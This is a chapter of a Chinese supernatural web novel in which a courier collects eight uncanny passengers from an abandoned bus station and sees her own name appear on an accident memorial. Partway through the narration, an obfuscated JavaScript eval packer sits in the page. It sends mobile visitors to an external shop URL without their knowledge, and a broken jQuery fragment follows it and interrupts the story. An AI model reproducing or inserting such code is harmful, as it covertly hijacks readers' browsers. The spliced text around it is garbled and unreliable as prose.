文趣网 > 其他小说 > 废土公路:我把BOSS当货拉 > 10. 第十章
    姜迟没有立刻出门。

    她把碗筷洗了,屋子收拾了,给手机充上电,然后坐在沙发上,把那碗凉掉的面吃完。

    做完这些,她才开始琢磨这单货。

    一车人。

    人当货拉,她干了四年物流,头一回听说。

    她翻出手机,查东岭老汽车站。

    地图上有这个地方,在城东二十多公里,早废弃了,十年前城乡客运线撤销,车站就关了。

    卫星图上还能看见站房,一个长条形的平房,门口一片空地,空地前面半截围墙。

    白天去看一趟。她心里定了主意,先踩点,再接货。

    早上八点,她开车出门。天气正常,太阳有点晒,路上堵车,喇叭声此起彼伏。

    一切都正常得让人恍惚。要不是手机桌面上那个删不掉的图标,她真要以为前晚的事是梦。

    开了五十分钟,到了。

    东岭老汽车站在公路边上,院墙塌了半截,铁门锈着,挂着一条褪色的横幅,字迹还能认出来:安全出行,平安回家。

    她把车停在路边,从缺口走了进去。

    站房里一股霉味。售票窗口的玻璃碎了,候车厅的长椅东倒西歪,地上散落着旧票根和碎纸。

    墙上的班次表还贴着,字都黄了,最后一班车的时间停在十年前的某个傍晚。

    姜迟在站里转了一圈。

    没什么特别的。

    就是个废弃车站,阴是阴了点,大白天nothing可怕的。

    她走到院子中间,空地很大,能停下十几辆中巴,地面是水泥的,裂缝里长着草。

    裂缝。

    她蹲下来看。

    水泥地的裂缝很怪,横平竖直,像是什么东西从底下把地面划开的。

    其中一道裂缝里,卡着个东西。

    她捡起来,是一张车票。

    老式的硬纸板票,蓝底,印着字:东岭至雾村,票价三元。

    日期那一栏是空白的,没填。

    雾村。

    她捏着那张票,站了一会儿。

    回去的路上,赵广军打来电话。

    "妹子,我出事了。"他的声音发紧,"我的第二单下来了,今晚接货,装的什么你知道吗?一车鸡。从什么仙桥村拉到高速口。我一听拉活禽就头大,万一死路上,货损算我的。"

    "你接单了就跑。"姜迟说,"按流程来,别乱停。"

    "我不是说这个。"赵广军压低声音,"我在仙桥村那边的货运群里问了句有没有同行的,有个不认识的人加我,跟我说,让我今晚别去东岭方向,说那边今晚有大单,乱得很,好几伙人都盯着。"

    姜迟的手指在方向盘上敲了敲。

    "他还说什么?"

    "他说,接人的单,接的不是人。"赵广军的声音更低了,"妹子,你的单,是不是就是接人?"

    "嗯。"

    电话那头沉默了几秒。

    "那我明白了。那人还说了句怪话,他说,这种单发布出来,谁都能看见装货地,去晚了连汤都没有。我寻思这不是抢单吗?你见过货运平台把大单挂出来让人抢的?"

    "没有。"姜迟说,"正常平台都派单。"

    "所以这是个坑啊。"赵广军急了,"谁抢着算谁的,抢不着的人能干看着?路上给你使个坏,你哭都没地方哭去。妹子,要不这样,我送完鸡就往你那边靠,咱俩离近点,有个照应。"

    "行。"姜迟说,"你把那人微信推我。"

    挂了电话,微信来了。她加了那个陌生人,对方没通过。头像是灰色的,昵称是一串乱码。

    下午她睡了一觉,养精神。晚上十点,她出门,车加满油,检查了一遍车况,副驾上放了扳手,水杯,充电宝。

    十一点半,她到了东岭老汽车站。

    白天来过的废弃车站,这会不一样了。

    她还没靠近,导航就亮了,机械女声说:"前方进入装货区。请直行。"

    那条她白天走过的公路,从某个路灯杆开始变了。

    灯还是那些灯,可是灯光变成了昏黄色,路两边出现了雾,雾不浓,贴着地皮流。

    她开进去,回头看,身后的路灯一根一根灭掉。

    穿过雾,老汽车站出现在车灯里。

    站房亮着灯。十年没人住的地方,这会灯火通明,售票窗口亮着,候车厅亮着,站房屋顶的红字重新亮了:东岭汽车站。

    院子里停着车。

    不止一辆。

    一辆金杯面包车,一辆皮卡,一辆小货车,加上她的车,四辆。

    院子里还有七八个人,三三两两站在车边,抽烟,说话。

    姜迟把车开进去,停在最边上,没有下车。

    她注意到,这些人的挡风玻璃下面,都压着黑皮本子。

    全是行者。

    备注栏那句话浮上来。他们比你先知道这单货。她懂了,这单不是派给她一个人的,是挂出来的,先到先得,来的人全是竞争者。

    她刚停稳,就有人过来了。

    一个四十多岁的男人,平头,皮夹克,敲了敲她的车窗。姜迟降下一条缝。

    "妹子,也是来接这单的?"平头男问。

    "嗯。"

    "哪边人?跑这线路多久了?"

    "新手。"姜迟说,"刚送完一单。"

    平头男笑了一声:"新手敢来接人单?胆儿挺肥。"他朝候车厅努努嘴,"人都在里头坐着呢,八个。先到先得,我劝你挑快点,后头的都是烂账。"

    "什么烂账?"

    "问那么多干嘛。"平头男眼睛往她车里瞟,瞟见了副驾上的扳手,笑得更开了,"行,有防备心是好事。待会儿路上见了,各凭本事。"

    他走了。姜迟坐在车里,看着那七八个人。

    这伙人互相都认识的样子,递烟,拍肩膀,聊天。她一个面生的,没人搭理。

    手机震动。

    【装货即将开始。请前往候车厅核对名单。】

    【名单共八人。核对无误后发车。】

    【提示:名单之外的人,不允许上车。】

    姜迟下了车,朝候车厅走去。

    候车厅跟白天完全是两个地方。灯是亮的,长椅是整齐的,地上干干净净。

    八个人坐在长椅上,男女老少都有,安安静静地坐着,没人说话,也没人看她。

    她站在门口,把八个人挨个看了一遍。

    一个老太太,抱着一个布兜。

    一个中年男人,穿着工装。

    一对年轻夫妻,女的怀里抱着个孩子。

    一个戴眼镜的学生模样的男孩。

    一个拄拐的老头。

    一个穿红裙子的女人。

    一个低着头玩手机的男人。

    八个人,跟名单对得上。

    "接你们的车在外面。"姜迟说,"跟我走吧。"

    八个人同时抬起头。

    那个动作齐得吓人,像八个人共用一根线。

    他们看着她,没人动,也没人说话。

    "上车吧。"姜迟又说了一遍。

    老太太先站了起来,抱着布兜往外走。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947439|214093||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    其他人一个接一个站起来,排成一列,跟着老太太往外走。

    姜迟走在最后,她数了一遍,八个。

    出了候车厅,院子里那些行者的眼神全都粘了过来。

    平头男靠在金杯车边上,冲她吹了声口哨:"可以啊妹子,手快。"

    姜迟没理他,领人上车。

    她的车厢是封闭的厢货,她本来还琢磨人坐哪,走到车尾一看,车厢变了。

    原来空荡荡的厢体里,多了一排座椅。

    两排,面对面,一共八个座,座位上还系着安全带。

    座椅的样式很旧,绿皮的,跟中巴车一个样。

    八个人依次上车,按顺序坐下。

    老太太坐第一个,红裙子女人坐最后。

    姜迟上车,关门,刚要去驾驶室,那个老太太拉住了她的衣角。

    "闺女。"老太太仰着脸问,"这车,到终点站吗?"

    姜迟愣了一下:"你们去哪,我就送到哪。"

    "终点站。"老太太说,"我们都去终点站。"

    "地址呢?单子上有。"

    老太太不答了,松开手,抱着布兜坐好。

    姜迟下了车,绕到驾驶室。上车前她又回头看了一眼,院子里那些行者的车,一辆都没动。

    金杯车的平头男冲她扬了扬下巴,喊了一嗓子:"妹子,雨要下大了,路上慢点开啊。"

    他话音刚落,天上就砸下来一滴水。

    紧接着,第二滴,第三滴,雨点噼里啪啦砸在车顶,几秒钟就密得看不见前路了。

    姜迟关上车门,发动,挂挡。车灯照出去,两道白柱子在雨里撑出十来米的视野,再往前就是一片灰白。

    她按导航的指示开出站,上了那条来路。

    雨刮器开到最大,刮过去,一秒,玻璃上又糊满水。这雨邪门。

    开出几公里,路两边的灯没了,就剩车灯照着的这一小块。

    乘客很安静。车厢和驾驶室之间有隔断,她听不见后面的声音,可是她知道那八个人在,她能感觉到车厢微微往下沉的那个分量。

    又开了几公里,前方路边出现了个东西。

    一块碑。

    立在路肩上的旧石碑,半人高,碑面被雨冲得发亮。车灯扫过去,碑上的字一个一个跳出来。

    前方事故多发,谨慎驾驶。

    下面是一些小字,一行一行,全是名字。

    这种碑她跑长途见过,事故多发路段立的,有的是警示,有的是纪念。

    可这碑上的名字也太多了,密密麻麻,从上到下,她隔着雨看不全。

    鬼使神差地,她把车靠边,停了。

    雨刮器摆着,她盯着那块碑看。雨里,碑上的名字一行一行,像活的,往下挪。

    新的名字从碑的顶上往下出,老的往底下沉。

    最上面新出的那个名字,她看得清清楚楚。

    姜迟。

    两个字,红漆描着,新鲜得像是刚描上去的。

    手机在口袋里震。

    【前方事故多发路段。提示:本路段每通过一次,产生一个新的死者。】

    【当前已产生死者:2。】

    【名单更新中。】

    姜迟盯着那个数字,从2跳到了3。

    车厢里,忽然响起了一声婴儿的啼哭。

    她猛地回头。

    名单上那对年轻夫妻的孩子,这一路从来没哭过。而现在,哭声隔着隔断,清清楚楚地传进驾驶室,哭声里,还夹着那老太太的念叨。

    终点站,终点站,我们都要去终点站。